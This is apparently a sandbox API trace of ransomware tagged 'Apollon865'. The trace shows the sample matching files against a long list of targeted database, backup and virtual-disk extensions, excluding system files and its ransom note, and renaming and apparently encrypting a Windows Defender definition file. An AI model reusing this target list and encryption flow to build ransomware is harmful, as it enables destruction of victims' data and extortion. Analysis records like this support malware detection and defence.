	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="fp5") returned 1
	[0079.442] lstrlenW (lpString="fp7") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="fp7") returned 1
	[0079.442] lstrlenW (lpString="fpt") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="fpt") returned 1
	[0079.442] lstrlenW (lpString="frm") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="frm") returned 1
	[0079.442] lstrlenW (lpString="gdb") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="gdb") returned 1
	[0079.443] lstrlenW (lpString="gdb") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="gdb") returned 1
	[0079.443] lstrlenW (lpString="grdb") returned 4
	[0079.443] lstrcmpiW (lpString1=".vdm", lpString2="grdb") returned -1
	[0079.443] lstrlenW (lpString="gwi") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="gwi") returned 1
	[0079.443] lstrlenW (lpString="hdb") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="hdb") returned 1
	[0079.443] lstrlenW (lpString="his") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="his") returned 1
	[0079.443] lstrlenW (lpString="ib") returned 2
	[0079.443] lstrcmpiW (lpString1="dm", lpString2="ib") returned -1
	[0079.443] lstrlenW (lpString="idb") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="idb") returned 1
	[0079.443] lstrlenW (lpString="ihx") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="ihx") returned 1
	[0079.443] lstrlenW (lpString="itdb") returned 4
	[0079.443] lstrcmpiW (lpString1=".vdm", lpString2="itdb") returned -1
	[0079.443] lstrlenW (lpString="itw") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="itw") returned 1
	[0079.443] lstrlenW (lpString="jet") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="jet") returned 1
	[0079.443] lstrlenW (lpString="jtx") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="jtx") returned 1
	[0079.443] lstrlenW (lpString="kdb") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="kdb") returned 1
	[0079.443] lstrlenW (lpString="kexi") returned 4
	[0079.443] lstrcmpiW (lpString1=".vdm", lpString2="kexi") returned -1
	[0079.443] lstrlenW (lpString="kexic") returned 5
	[0079.443] lstrcmpiW (lpString1="e.vdm", lpString2="kexic") returned -1
	[0079.443] lstrlenW (lpString="kexis") returned 5
	[0079.443] lstrcmpiW (lpString1="e.vdm", lpString2="kexis") returned -1
	[0079.443] lstrlenW (lpString="lgc") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="lgc") returned 1
	[0079.443] lstrlenW (lpString="lwx") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="lwx") returned 1
	[0079.443] lstrlenW (lpString="maf") returned 3
	[0079.443] lstrcmpiW (lpString1="vdm", lpString2="maf") returned 1
	[0079.444] lstrlenW (lpString="maq") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="maq") returned 1
	[0079.444] lstrlenW (lpString="mar") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="mar") returned 1
	[0079.444] lstrlenW (lpString="marshal") returned 7
	[0079.444] lstrcmpiW (lpString1="ase.vdm", lpString2="marshal") returned -1
	[0079.444] lstrlenW (lpString="mas") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="mas") returned 1
	[0079.444] lstrlenW (lpString="mav") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="mav") returned 1
	[0079.444] lstrlenW (lpString="maw") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="maw") returned 1
	[0079.444] lstrlenW (lpString="mdbhtml") returned 7
	[0079.444] lstrcmpiW (lpString1="ase.vdm", lpString2="mdbhtml") returned -1
	[0079.444] lstrlenW (lpString="mdn") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="mdn") returned 1
	[0079.444] lstrlenW (lpString="mdt") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="mdt") returned 1
	[0079.444] lstrlenW (lpString="mfd") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="mfd") returned 1
	[0079.444] lstrlenW (lpString="mpd") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="mpd") returned 1
	[0079.444] lstrlenW (lpString="mrg") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="mrg") returned 1
	[0079.444] lstrlenW (lpString="mud") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="mud") returned 1
	[0079.444] lstrlenW (lpString="mwb") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="mwb") returned 1
	[0079.444] lstrlenW (lpString="myd") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="myd") returned 1
	[0079.444] lstrlenW (lpString="ndf") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="ndf") returned 1
	[0079.444] lstrlenW (lpString="nnt") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="nnt") returned 1
	[0079.444] lstrlenW (lpString="nrmlib") returned 6
	[0079.444] lstrcmpiW (lpString1="se.vdm", lpString2="nrmlib") returned 1
	[0079.444] lstrlenW (lpString="ns2") returned 3
	[0079.444] lstrcmpiW (lpString1="vdm", lpString2="ns2") returned 1
	[0079.445] lstrlenW (lpString="ns3") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="ns3") returned 1
	[0079.445] lstrlenW (lpString="ns4") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="ns4") returned 1
	[0079.445] lstrlenW (lpString="nsf") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="nsf") returned 1
	[0079.445] lstrlenW (lpString="nv") returned 2
	[0079.445] lstrcmpiW (lpString1="dm", lpString2="nv") returned -1
	[0079.445] lstrlenW (lpString="nv2") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="nv2") returned 1
	[0079.445] lstrlenW (lpString="nwdb") returned 4
	[0079.445] lstrcmpiW (lpString1=".vdm", lpString2="nwdb") returned -1
	[0079.445] lstrlenW (lpString="nyf") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="nyf") returned 1
	[0079.445] lstrlenW (lpString="odb") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="odb") returned 1
	[0079.445] lstrlenW (lpString="odb") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="odb") returned 1
	[0079.445] lstrlenW (lpString="oqy") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="oqy") returned 1
	[0079.445] lstrlenW (lpString="ora") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="ora") returned 1
	[0079.445] lstrlenW (lpString="orx") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="orx") returned 1
	[0079.445] lstrlenW (lpString="owc") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="owc") returned 1
	[0079.445] lstrlenW (lpString="p96") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="p96") returned 1
	[0079.445] lstrlenW (lpString="p97") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="p97") returned 1
	[0079.445] lstrlenW (lpString="pan") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="pan") returned 1
	[0079.445] lstrlenW (lpString="pdb") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="pdb") returned 1
	[0079.445] lstrlenW (lpString="pdm") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="pdm") returned 1
	[0079.445] lstrlenW (lpString="pnz") returned 3
	[0079.445] lstrcmpiW (lpString1="vdm", lpString2="pnz") returned 1
	[0079.445] lstrlenW (lpString="qry") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="qry") returned 1
	[0079.446] lstrlenW (lpString="qvd") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="qvd") returned 1
	[0079.446] lstrlenW (lpString="rbf") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="rbf") returned 1
	[0079.446] lstrlenW (lpString="rctd") returned 4
	[0079.446] lstrcmpiW (lpString1=".vdm", lpString2="rctd") returned -1
	[0079.446] lstrlenW (lpString="rod") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="rod") returned 1
	[0079.446] lstrlenW (lpString="rodx") returned 4
	[0079.446] lstrcmpiW (lpString1=".vdm", lpString2="rodx") returned -1
	[0079.446] lstrlenW (lpString="rpd") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="rpd") returned 1
	[0079.446] lstrlenW (lpString="rsd") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="rsd") returned 1
	[0079.446] lstrlenW (lpString="sas7bdat") returned 8
	[0079.446] lstrcmpiW (lpString1="base.vdm", lpString2="sas7bdat") returned -1
	[0079.446] lstrlenW (lpString="sbf") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="sbf") returned 1
	[0079.446] lstrlenW (lpString="scx") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="scx") returned 1
	[0079.446] lstrlenW (lpString="sdb") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="sdb") returned 1
	[0079.446] lstrlenW (lpString="sdc") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="sdc") returned 1
	[0079.446] lstrlenW (lpString="sdf") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="sdf") returned 1
	[0079.446] lstrlenW (lpString="sis") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="sis") returned 1
	[0079.446] lstrlenW (lpString="spq") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="spq") returned 1
	[0079.446] lstrlenW (lpString="te") returned 2
	[0079.446] lstrcmpiW (lpString1="dm", lpString2="te") returned -1
	[0079.446] lstrlenW (lpString="teacher") returned 7
	[0079.446] lstrcmpiW (lpString1="ase.vdm", lpString2="teacher") returned -1
	[0079.446] lstrlenW (lpString="tmd") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="tmd") returned 1
	[0079.446] lstrlenW (lpString="tps") returned 3
	[0079.446] lstrcmpiW (lpString1="vdm", lpString2="tps") returned 1
	[0079.447] lstrlenW (lpString="trc") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="trc") returned 1
	[0079.447] lstrlenW (lpString="trc") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="trc") returned 1
	[0079.447] lstrlenW (lpString="trm") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="trm") returned 1
	[0079.447] lstrlenW (lpString="udb") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="udb") returned 1
	[0079.447] lstrlenW (lpString="udl") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="udl") returned 1
	[0079.447] lstrlenW (lpString="usr") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="usr") returned 1
	[0079.447] lstrlenW (lpString="v12") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="v12") returned 1
	[0079.447] lstrlenW (lpString="vis") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="vis") returned -1
	[0079.447] lstrlenW (lpString="vpd") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="vpd") returned -1
	[0079.447] lstrlenW (lpString="vvv") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="vvv") returned -1
	[0079.447] lstrlenW (lpString="wdb") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="wdb") returned -1
	[0079.447] lstrlenW (lpString="wmdb") returned 4
	[0079.447] lstrcmpiW (lpString1=".vdm", lpString2="wmdb") returned -1
	[0079.447] lstrlenW (lpString="wrk") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="wrk") returned -1
	[0079.447] lstrlenW (lpString="xdb") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="xdb") returned -1
	[0079.447] lstrlenW (lpString="xld") returned 3
	[0079.447] lstrcmpiW (lpString1="vdm", lpString2="xld") returned -1
	[0079.447] lstrlenW (lpString="xmlff") returned 5
	[0079.447] lstrcmpiW (lpString1="e.vdm", lpString2="xmlff") returned -1
	[0079.447] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm.Apollon865") returned 127
	[0079.447] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasbase.vdm"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasbase.vdm.apollon865"), dwFlags=0x1) returned 1
	[0079.448] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasbase.vdm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0079.448] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=11628944) returned 1
	[0079.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0079.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0079.449] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0079.450] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0079.450] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.450] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb17490, lpName=0x0) returned 0x15c
	[0079.452] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xa00000, dwNumberOfBytesToMap=0x117490) returned 0x2bb0000
	[0079.624] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0079.626] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0079.626] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0079.626] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0079.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.626] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0079.626] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.626] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0079.626] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.626] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1
	[0079.636] CloseHandle (hObject=0x15c) returned 1
	[0079.637] CloseHandle (hObject=0x9c) returned 1
	[0079.637] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0079.637] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0079.637] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.647] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fff35a, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x6da22700, ftLastWriteTime.dwHighDateTime=0x1cb8783, nFileSizeHigh=0x0, nFileSizeLow=0x52d90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpasdlta.vdm", cAlternateFileName="")) returned 1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="Apollon865.txt.exe") returned 1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2=".") returned 1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="..") returned 1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="windows") returned -1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="bootmgr") returned 1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="temp") returned -1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="pagefile.sys") returned -1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="boot") returned 1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="ids.txt") returned 1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="ntuser.dat") returned -1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="perflogs") returned -1
	[0079.647] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="MSBuild") returned -1
	[0079.647] lstrlenW (lpString="mpasdlta.vdm") returned 12
	[0079.647] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm") returned 116
	[0079.647] lstrcpyW (in: lpString1=0x119e6d8, lpString2="mpasdlta.vdm" | out: lpString1="mpasdlta.vdm") returned="mpasdlta.vdm"
	[0079.647] lstrlenW (lpString="mpasdlta.vdm") returned 12
	[0079.647] lstrlenW (lpString="Apollon865") returned 10
	[0079.647] lstrcmpiW (lpString1="asdlta.vdm", lpString2="Apollon865") returned 1
	[0079.648] lstrlenW (lpString=".dll") returned 4
	[0079.648] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2=".dll") returned 1
	[0079.648] lstrlenW (lpString=".lnk") returned 4
	[0079.648] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2=".lnk") returned 1
	[0079.648] lstrlenW (lpString=".ini") returned 4
	[0079.648] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2=".ini") returned 1
	[0079.648] lstrlenW (lpString=".sys") returned 4
	[0079.648] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2=".sys") returned 1
	[0079.648] lstrlenW (lpString="mpasdlta.vdm") returned 12
	[0079.648] lstrlenW (lpString="bak") returned 3
	[0079.648] lstrcmpiW (lpString1="vdm", lpString2="bak") returned 1
	[0079.648] lstrlenW (lpString="ba_") returned 3
	[0079.648] lstrcmpiW (lpString1="vdm", lpString2="ba_") returned 1
	[0079.648] lstrlenW (lpString="dbb") returned 3
	[0079.648] lstrcmpiW (lpString1="vdm", lpString2="dbb") returned 1
	[0079.648] lstrlenW (lpString="vmdk") returned 4
	[0079.648] lstrcmpiW (lpString1=".vdm", lpString2="vmdk") returned -1
	[0079.648] lstrlenW (lpString="rar") returned 3
	[0079.648] lstrcmpiW (lpString1="vdm", lpString2="rar") returned 1
	[0079.648] lstrlenW (lpString="zip") returned 3
	[0079.648] lstrcmpiW (lpString1="vdm", lpString2="zip") returned -1
	[0079.648] lstrlenW (lpString="tgz") returned 3
	[0079.648] lstrcmpiW (lpString1="vdm", lpString2="tgz") returned 1
	[0079.648] lstrlenW (lpString="vbox") returned 4
	[0079.648] lstrcmpiW (lpString1=".vdm", lpString2="vbox") returned -1
	[0079.648] lstrlenW (lpString="vdi") returned 3
	[0079.648] lstrcmpiW (lpString1="vdm", lpString2="vdi") returned 1
	[0079.648] lstrlenW (lpString="vhd") returned 3
	[0079.648] lstrcmpiW (lpString1="vdm", lpString2="vhd") returned -1
	[0079.648] lstrlenW (lpString="vhdx") returned 4
	[0079.648] lstrcmpiW (lpString1=".vdm", lpString2="vhdx") returned -1
	[0079.648] lstrlenW (lpString="avhd") returned 4
	[0079.648] lstrcmpiW (lpString1=".vdm", lpString2="avhd") returned -1
	[0079.648] lstrlenW (lpString="db") returned 2
	[0079.648] lstrcmpiW (lpString1="dm", lpString2="db") returned 1
	[0079.648] lstrlenW (lpString="db2") returned 3
	[0079.648] lstrcmpiW (lpString1="vdm", lpString2="db2") returned 1
	[0079.648] lstrlenW (lpString="db3") returned 3
	[0079.648] lstrcmpiW (lpString1="vdm", lpString2="db3") returned 1
	[0079.649] lstrlenW (lpString="dbf") returned 3
	[0079.649] lstrcmpiW (lpString1="vdm", lpString2="dbf") returned 1
	[0079.649] lstrlenW (lpString="mdf") returned 3
	[0079.649] lstrcmpiW (lpString1="vdm", lpString2="mdf") returned 1
	[0079.649] lstrlenW (lpString="mdb") returned 3
	[0079.649] lstrcmpiW (lpString1="vdm", lpString2="mdb") returned 1
	[0079.649] lstrlenW (lpString="sql") returned 3
	[0079.649] lstrcmpiW (lpString1="vdm", lpString2="sql") returned 1
	[0079.649] lstrlenW (lpString="sqlite") returned 6
	[0079.649] lstrcmpiW (lpString1="ta.vdm", lpString2="sqlite") returned 1
	[0079.649] lstrlenW (lpString="sqlite3") returned 7
	[0079.649] lstrcmpiW (lpString1="lta.vdm", lpString2="sqlite3") returned -1
	[0079.649] lstrlenW (lpString="sqlitedb") returned 8
	[0079.649] lstrcmpiW (lpString1="dlta.vdm", lpString2="sqlitedb") returned -1
	[0079.649] lstrlenW (lpString="xml") returned 3
	[0079.649] lstrcmpiW (lpString1="vdm", lpString2="xml") returned -1
	[0079.649] lstrlenW (lpString="$er") returned 3
	[0079.649] lstrcmpiW (lpString1="vdm", lpString2="$er") returned 1
	[0079.649] lstrlenW (lpString="4dd") returned 3
	[0079.649] lstrcmpiW (lpString1="vdm", lpString2="4dd") returned 1
	[0079.649] lstrlenW (lpString="4dl") returned 3
	[0079.649] lstrcmpiW (lpString1="vdm", lpString2="4dl") returned 1
	[0079.649] lstrlenW (lpString="^^^") returned 3
	[0079.649] lstrcmpiW (lpString1="vdm", lpString2="^^^") returned 1
	[0079.649] lstrlenW (lpString="abs") returned 3
	[0079.649] lstrcmpiW (lpString1="vdm", lpString2="abs") returned 1
	[0079.649] lstrlenW (lpString="abx") returned 3
	[0079.649] lstrcmpiW (lpString1="vdm", lpString2="abx") returned 1
	[0079.649] lstrlenW (lpString="accdb") returned 5
	[0079.649] lstrcmpiW (lpString1="a.vdm", lpString2="accdb") returned -1
	[0079.649] lstrlenW (lpString="accdc") returned 5
	[0079.649] lstrcmpiW (lpString1="a.vdm", lpString2="accdc") returned -1
	[0079.649] lstrlenW (lpString="accde") returned 5
	[0079.649] lstrcmpiW (lpString1="a.vdm", lpString2="accde") returned -1
	[0079.649] lstrlenW (lpString="accdr") returned 5
	[0079.649] lstrcmpiW (lpString1="a.vdm", lpString2="accdr") returned -1
	[0079.650] lstrlenW (lpString="accdt") returned 5
	[0079.650] lstrcmpiW (lpString1="a.vdm", lpString2="accdt") returned -1
	[0079.650] lstrlenW (lpString="accdw") returned 5
	[0079.650] lstrcmpiW (lpString1="a.vdm", lpString2="accdw") returned -1
	[0079.650] lstrlenW (lpString="accft") returned 5
	[0079.650] lstrcmpiW (lpString1="a.vdm", lpString2="accft") returned -1
	[0079.650] lstrlenW (lpString="adb") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="adb") returned 1
	[0079.650] lstrlenW (lpString="adb") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="adb") returned 1
	[0079.650] lstrlenW (lpString="ade") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="ade") returned 1
	[0079.650] lstrlenW (lpString="adf") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="adf") returned 1
	[0079.650] lstrlenW (lpString="adn") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="adn") returned 1
	[0079.650] lstrlenW (lpString="adp") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="adp") returned 1
	[0079.650] lstrlenW (lpString="alf") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="alf") returned 1
	[0079.650] lstrlenW (lpString="ask") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="ask") returned 1
	[0079.650] lstrlenW (lpString="btr") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="btr") returned 1
	[0079.650] lstrlenW (lpString="cat") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="cat") returned 1
	[0079.650] lstrlenW (lpString="cdb") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="cdb") returned 1
	[0079.650] lstrlenW (lpString="ckp") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="ckp") returned 1
	[0079.650] lstrlenW (lpString="cma") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="cma") returned 1
	[0079.650] lstrlenW (lpString="cpd") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="cpd") returned 1
	[0079.650] lstrlenW (lpString="dacpac") returned 6
	[0079.650] lstrcmpiW (lpString1="ta.vdm", lpString2="dacpac") returned 1
	[0079.650] lstrlenW (lpString="dad") returned 3
	[0079.650] lstrcmpiW (lpString1="vdm", lpString2="dad") returned 1
	[0079.651] lstrlenW (lpString="dadiagrams") returned 10
	[0079.651] lstrcmpiW (lpString1="asdlta.vdm", lpString2="dadiagrams") returned -1
	[0079.651] lstrlenW (lpString="daschema") returned 8
	[0079.651] lstrcmpiW (lpString1="dlta.vdm", lpString2="daschema") returned 1
	[0079.651] lstrlenW (lpString="db-journal") returned 10
	[0079.651] lstrcmpiW (lpString1="asdlta.vdm", lpString2="db-journal") returned -1
	[0079.651] lstrlenW (lpString="db-shm") returned 6
	[0079.651] lstrcmpiW (lpString1="ta.vdm", lpString2="db-shm") returned 1
	[0079.651] lstrlenW (lpString="db-wal") returned 6
	[0079.651] lstrcmpiW (lpString1="ta.vdm", lpString2="db-wal") returned 1
	[0079.651] lstrlenW (lpString="dbc") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="dbc") returned 1
	[0079.651] lstrlenW (lpString="dbs") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="dbs") returned 1
	[0079.651] lstrlenW (lpString="dbt") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="dbt") returned 1
	[0079.651] lstrlenW (lpString="dbv") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="dbv") returned 1
	[0079.651] lstrlenW (lpString="dbx") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="dbx") returned 1
	[0079.651] lstrlenW (lpString="dcb") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="dcb") returned 1
	[0079.651] lstrlenW (lpString="dct") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="dct") returned 1
	[0079.651] lstrlenW (lpString="dcx") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="dcx") returned 1
	[0079.651] lstrlenW (lpString="ddl") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="ddl") returned 1
	[0079.651] lstrlenW (lpString="dlis") returned 4
